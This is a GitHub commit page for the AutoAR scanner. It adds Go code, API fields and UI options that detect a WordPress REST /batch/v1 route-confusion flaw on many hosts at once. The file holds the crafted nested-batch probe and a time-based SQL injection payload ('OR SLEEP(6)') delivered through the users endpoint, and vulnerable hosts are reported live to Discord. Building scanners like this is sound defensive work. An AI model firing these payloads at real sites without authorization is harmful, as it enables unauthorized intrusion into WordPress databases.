Skip to content

Commit 1a92574

Browse files
h0tak88rclaude
andcommitted
feat(zerodays): wp2shell (CVE-2026-63030) detection with concurrency + live Discord
Adds the wp2shell REST /batch/v1 route-confusion check to the zerodays Go scanner, alongside React2Shell and MongoDB. - concurrent worker pool over the resolved host list (one domain, a domains file, or explicit URLs); honours the existing --threads. - benign marker probe (no injection) detects the route-confusion primitive on WP 6.9.0-6.9.4 / 7.0.0-7.0.1, trying both /wp-json/ and ?rest_route= endpoint forms. - optional time-based SQLi confirmation (wp2shell_confirm_sqli): on a marker hit, a SLEEP(0)-vs-SLEEP(6) differential upgrades the finding to critical/sqli-confirmed. Reads nothing. - live Discord: each vulnerable host pings MONITOR_WEBHOOK_URL as found; findings also land in zerodays-results.json so the existing GUI table renders them. - CVE-2026-63030 added to the default set; "CVEs (csv)" field limits to wp2shell only. Launcher exposes a "confirm SQLi" toggle. - tests: hermetic marker discrimination (fires vulnerable, silent on patched/non-WP/wrong-status) + checkWP2Shell finding/no-finding. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
1 parent ca078f9 commit 1a92574

6 files changed

Lines changed: 442 additions & 3 deletions

File tree

internal/api/api.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -394,9 +394,10 @@ type ScanRequest struct {
394394
DOSTest *bool `json:"dos_test"` // Zerodays DoS test
395395
EnableSourceExposure *bool `json:"enable_source_exposure"` // Zerodays source exposure
396396
Silent *bool `json:"silent"` // Zerodays silent mode
397-
CVEs *[]string `json:"cves"` // CVEs to check (CVE-2025-55182, CVE-2025-14847)
397+
CVEs *[]string `json:"cves"` // CVEs to check (CVE-2025-55182, CVE-2025-14847, CVE-2026-63030)
398398
MongoDBHost *string `json:"mongodb_host"` // MongoDB host for CVE-2025-14847
399399
MongoDBPort *int `json:"mongodb_port"` // MongoDB port for CVE-2025-14847
400+
WP2ShellConfirmSQLi *bool `json:"wp2shell_confirm_sqli"` // wp2shell: also run the time-based SQLi confirmation
400401
// Misconfig options
401402
ServiceID *string `json:"service_id"` // Misconfig service ID
402403
Delay *int `json:"delay"` // Misconfig delay (ms)

internal/api/scan_handlers.go

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -619,6 +619,9 @@ func scanZerodays(c *gin.Context) {
619619
if req.CVEs != nil {
620620
opts.CVEs = *req.CVEs
621621
}
622+
if req.WP2ShellConfirmSQLi != nil {
623+
opts.WP2ShellConfirmSQLi = *req.WP2ShellConfirmSQLi
624+
}
622625
if req.MongoDBHost != nil {
623626
opts.MongoDBHost = *req.MongoDBHost
624627
}

internal/api/ui/pages/launcher.js

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,8 @@
7676
{ key: 'dos_test', label: 'Enable DoS test', type: 'bool', advanced: true, help: 'Includes DoS checks — only run on assets you own / have permission to disrupt.' },
7777
{ key: 'enable_source_exposure', label: 'Enable source exposure', type: 'bool', advanced: true, help: 'Probe React2Shell source-map / source exposure.' },
7878
{ key: 'silent', label: 'Silent mode', type: 'bool', advanced: true, help: 'Only emit confirmed-vulnerable hosts.' },
79-
{ key: 'cves', label: 'CVEs (csv)', type: 'text', advanced: true, help: 'Limit to specific CVE IDs, comma-separated. Empty = all supported.' },
79+
{ key: 'cves', label: 'CVEs (csv)', type: 'text', advanced: true, help: 'Limit to specific CVE IDs, comma-separated. Empty = all supported. wp2shell only: CVE-2026-63030' },
80+
{ key: 'wp2shell_confirm_sqli', label: 'wp2shell: confirm SQLi', type: 'bool', advanced: true, help: 'After a wp2shell route-confusion hit, run a benign time-based SQLi check (CVE-2026-60137) to upgrade the finding. Only on in-scope, authorized targets.' },
8081
{ key: 'mongodb_host', label: 'MongoDB host', type: 'text', advanced: true, help: 'Target host for the MongoDB CVE-2025-14847 check.' },
8182
{ key: 'mongodb_port', label: 'MongoDB port', type: 'number', min: 1, default: 27017, advanced: true, help: 'MongoDB port (default 27017).' },
8283
],
Lines changed: 289 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,289 @@
1+
package zerodays
2+
3+
import (
4+
"bufio"
5+
"fmt"
6+
"io"
7+
"net/http"
8+
"os"
9+
"strings"
10+
"sync"
11+
"time"
12+
13+
"github.com/h0tak88r/AutoAR/internal/scanner/livehosts"
14+
"github.com/h0tak88r/AutoAR/internal/utils"
15+
)
16+
17+
// WP2ShellCVE is the route-confusion CVE id used to select this check.
18+
const WP2ShellCVE = "CVE-2026-63030"
19+
20+
// WP2ShellFinding is one wp2shell detection on a host.
21+
type WP2ShellFinding struct {
22+
URL string
23+
Level string // "route-confusion" (marker) or "sqli-confirmed"
24+
Severity string // "high" for the primitive, "critical" once SQLi is confirmed
25+
Request string
26+
Response string
27+
StatusCode int
28+
}
29+
30+
// The benign marker probe: a nested batch whose "///" primer desyncs the
31+
// handler arrays. A vulnerable WordPress core (6.9.0-6.9.4 / 7.0.0-7.0.1)
32+
// returns HTTP 207 with all three marker codes; no injection is sent.
33+
const wp2shellMarkerBody = `{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts"},{"method":"POST","path":"/wp/v2/block-renderer/core/archives"},{"method":"POST","path":"/batch/v1","body":{"requests":[]}}]}`
34+
35+
var wp2shellMarkerCodes = []string{"parse_path_failed", "block_cannot_read", "rest_batch_not_allowed"}
36+
37+
// checkWP2Shell concurrently probes hosts for the wp2shell REST batch
38+
// route-confusion primitive (CVE-2026-63030). When opts.WP2ShellConfirmSQLi is
39+
// set, a confirmed marker hit is followed by a benign time-based SQLi check
40+
// (CVE-2026-60137) to upgrade the finding. Vulnerable hosts are reported to
41+
// Discord live (if a monitor webhook is configured) as they are found.
42+
func checkWP2Shell(opts Options) ([]WP2ShellFinding, int, error) {
43+
hosts, err := wp2shellGatherHosts(opts)
44+
if err != nil {
45+
return nil, 0, err
46+
}
47+
if len(hosts) == 0 {
48+
return nil, 0, nil
49+
}
50+
51+
threads := opts.Threads
52+
if threads <= 0 {
53+
threads = 30
54+
}
55+
if threads > len(hosts) {
56+
threads = len(hosts)
57+
}
58+
opts.logInfo("[INFO] wp2shell (%s): probing %d host(s) with %d threads%s",
59+
WP2ShellCVE, len(hosts), threads, ternary(opts.WP2ShellConfirmSQLi, " (+SQLi confirm)", ""))
60+
61+
markerClient := &http.Client{Timeout: 15 * time.Second}
62+
sqliClient := &http.Client{Timeout: 45 * time.Second}
63+
64+
hostChan := make(chan string, len(hosts))
65+
resChan := make(chan WP2ShellFinding, len(hosts))
66+
var wg sync.WaitGroup
67+
68+
for i := 0; i < threads; i++ {
69+
wg.Add(1)
70+
go func() {
71+
defer wg.Done()
72+
for base := range hostChan {
73+
ok, status, reqDump, respBody := wp2shellMarker(markerClient, base)
74+
if !ok {
75+
continue
76+
}
77+
f := WP2ShellFinding{
78+
URL: base, Level: "route-confusion", Severity: "high",
79+
Request: reqDump, Response: capPoC(respBody), StatusCode: status,
80+
}
81+
if opts.WP2ShellConfirmSQLi && wp2shellSQLiConfirm(sqliClient, base) {
82+
f.Level = "sqli-confirmed"
83+
f.Severity = "critical"
84+
}
85+
resChan <- f
86+
wp2shellNotify(f)
87+
}
88+
}()
89+
}
90+
91+
for _, h := range hosts {
92+
hostChan <- h
93+
}
94+
close(hostChan)
95+
go func() { wg.Wait(); close(resChan) }()
96+
97+
var findings []WP2ShellFinding
98+
for f := range resChan {
99+
findings = append(findings, f)
100+
}
101+
return findings, len(hosts), nil
102+
}
103+
104+
// wp2shellMarker sends the benign marker probe to both endpoint forms and
105+
// reports whether the vulnerable route-confusion signature (207 + all three
106+
// marker codes) is present. Returns (ok, statusCode, requestDump, responseBody).
107+
func wp2shellMarker(client *http.Client, base string) (bool, int, string, string) {
108+
for _, ep := range []string{base + "/wp-json/batch/v1", base + "/?rest_route=/batch/v1"} {
109+
req, err := http.NewRequest(http.MethodPost, ep, strings.NewReader(wp2shellMarkerBody))
110+
if err != nil {
111+
continue
112+
}
113+
req.Header.Set("Content-Type", "application/json")
114+
resp, err := client.Do(req)
115+
if err != nil {
116+
continue
117+
}
118+
body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<16))
119+
resp.Body.Close()
120+
if resp.StatusCode != 207 {
121+
continue
122+
}
123+
s := string(body)
124+
all := true
125+
for _, code := range wp2shellMarkerCodes {
126+
if !strings.Contains(s, code) {
127+
all = false
128+
break
129+
}
130+
}
131+
if all {
132+
dump := fmt.Sprintf("POST %s\nContent-Type: application/json\n\n%s", ep, wp2shellMarkerBody)
133+
return true, resp.StatusCode, dump, s
134+
}
135+
}
136+
return false, 0, "", ""
137+
}
138+
139+
// wp2shellSQLiConfirm sends a SLEEP(0) baseline and a SLEEP(6) payload through
140+
// the same nested-batch path and confirms the SQLi by execution: the injected
141+
// request must be measurably slower than its baseline. Benign — reads nothing.
142+
func wp2shellSQLiConfirm(client *http.Client, base string) bool {
143+
// author_exclude value 0) OR SLEEP(N)-- -, URL-encoded, in the /wp/v2/users carrier.
144+
payload := func(sleep int) string {
145+
val := fmt.Sprintf("0%%29%%20OR%%20SLEEP%%28%d%%29--%%20-", sleep)
146+
return `{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"requests":[{"method":"POST","path":"///"},{"method":"GET","path":"/wp/v2/users?author_exclude=` +
147+
val + `"},{"method":"GET","path":"/wp/v2/posts"}]}},{"method":"POST","path":"/batch/v1","body":{"requests":[]}}]}`
148+
}
149+
ep := base + "/?rest_route=/batch/v1"
150+
timed := func(bodyStr string) (time.Duration, int) {
151+
req, err := http.NewRequest(http.MethodPost, ep, strings.NewReader(bodyStr))
152+
if err != nil {
153+
return 0, 0
154+
}
155+
req.Header.Set("Content-Type", "application/json")
156+
start := time.Now()
157+
resp, err := client.Do(req)
158+
if err != nil {
159+
return time.Since(start), 0
160+
}
161+
io.Copy(io.Discard, io.LimitReader(resp.Body, 1<<16))
162+
resp.Body.Close()
163+
return time.Since(start), resp.StatusCode
164+
}
165+
baseline, _ := timed(payload(0))
166+
injected, status := timed(payload(6))
167+
return status == 207 && injected >= 6*time.Second && injected-baseline >= 4*time.Second
168+
}
169+
170+
// wp2shellNotify sends a live Discord message for a vulnerable host, if a
171+
// monitor webhook is configured. Fire-and-forget so it never blocks the scan.
172+
func wp2shellNotify(f WP2ShellFinding) {
173+
if !utils.MonitorWebhookConfigured() {
174+
return
175+
}
176+
var msg string
177+
if f.Level == "sqli-confirmed" {
178+
msg = fmt.Sprintf("💥 **wp2shell SQLi CONFIRMED** (CVE-2026-60137) — time-based\n%s", f.URL)
179+
} else {
180+
msg = fmt.Sprintf("🎯 **wp2shell route-confusion** (CVE-2026-63030) — precondition present\n%s", f.URL)
181+
}
182+
go utils.SendMonitorWebhook(msg)
183+
}
184+
185+
// wp2shellGatherHosts resolves the target host list from opts: explicit URLs, a
186+
// hosts/domains file (each line probed directly), or a single domain/subdomain
187+
// (resolved to live hosts). Mirrors the React2Shell input handling.
188+
func wp2shellGatherHosts(opts Options) ([]string, error) {
189+
if len(opts.URLs) > 0 {
190+
return normalizeWPHosts(opts.URLs), nil
191+
}
192+
if hf := firstNonEmptyStr(opts.HostsFile, opts.DomainsFile); hf != "" {
193+
return readWPHostLines(hf)
194+
}
195+
196+
target := firstNonEmptyStr(opts.Subdomain, opts.Domain)
197+
if target == "" {
198+
return nil, nil
199+
}
200+
clean := strings.TrimSuffix(strings.TrimPrefix(strings.TrimPrefix(target, "http://"), "https://"), "/")
201+
if len(strings.Split(clean, ".")) > 2 {
202+
// Single subdomain — check liveness directly, no enumeration.
203+
live, err := checkSingleSubdomainLive(clean, opts.Threads)
204+
if err != nil {
205+
return nil, err
206+
}
207+
if live == "" {
208+
return nil, fmt.Errorf("subdomain %s is not live", clean)
209+
}
210+
return []string{live}, nil
211+
}
212+
213+
// Root domain — reuse the enumerated live-hosts file (results dir/DB), else run livehosts.
214+
lhf, err := livehosts.GetLiveHostsFile(target)
215+
if err != nil {
216+
res, err2 := livehosts.FilterLiveHosts(target, opts.Threads, false)
217+
if err2 != nil {
218+
return nil, fmt.Errorf("failed to get live hosts: %w", err2)
219+
}
220+
lhf = res.LiveSubsFile
221+
}
222+
if lhf == "" {
223+
return nil, nil
224+
}
225+
return readWPHostLines(lhf)
226+
}
227+
228+
// readWPHostLines reads a host/URL file, skipping blanks/comments and prefixing
229+
// https:// where no scheme is present.
230+
func readWPHostLines(path string) ([]string, error) {
231+
file, err := os.Open(path)
232+
if err != nil {
233+
return nil, fmt.Errorf("failed to open hosts file: %w", err)
234+
}
235+
defer file.Close()
236+
var hosts []string
237+
sc := bufio.NewScanner(file)
238+
sc.Buffer(make([]byte, 0, 64*1024), 1024*1024)
239+
for sc.Scan() {
240+
line := strings.TrimSpace(sc.Text())
241+
if line == "" || strings.HasPrefix(line, "#") {
242+
continue
243+
}
244+
hosts = append(hosts, ensureScheme(line))
245+
}
246+
return hosts, sc.Err()
247+
}
248+
249+
func normalizeWPHosts(in []string) []string {
250+
out := make([]string, 0, len(in))
251+
for _, h := range in {
252+
h = strings.TrimSpace(h)
253+
if h != "" {
254+
out = append(out, ensureScheme(h))
255+
}
256+
}
257+
return out
258+
}
259+
260+
func ensureScheme(h string) string {
261+
if strings.HasPrefix(h, "http://") || strings.HasPrefix(h, "https://") {
262+
return strings.TrimSuffix(h, "/")
263+
}
264+
return "https://" + strings.TrimSuffix(h, "/")
265+
}
266+
267+
func firstNonEmptyStr(vals ...string) string {
268+
for _, v := range vals {
269+
if strings.TrimSpace(v) != "" {
270+
return v
271+
}
272+
}
273+
return ""
274+
}
275+
276+
func ternary(cond bool, a, b string) string {
277+
if cond {
278+
return a
279+
}
280+
return b
281+
}
282+
283+
// wp2shellFindingText builds the finding description for JSON/GUI output.
284+
func wp2shellFindingText(level string) string {
285+
if level == "sqli-confirmed" {
286+
return "wp2shell — unauthenticated time-based SQL injection confirmed (CVE-2026-60137 via CVE-2026-63030 batch route confusion)"
287+
}
288+
return "wp2shell — REST /batch/v1 route-confusion primitive present (CVE-2026-63030); precondition for the unauthenticated SQLi, confirm before reporting"
289+
}

0 commit comments

Comments
 (0)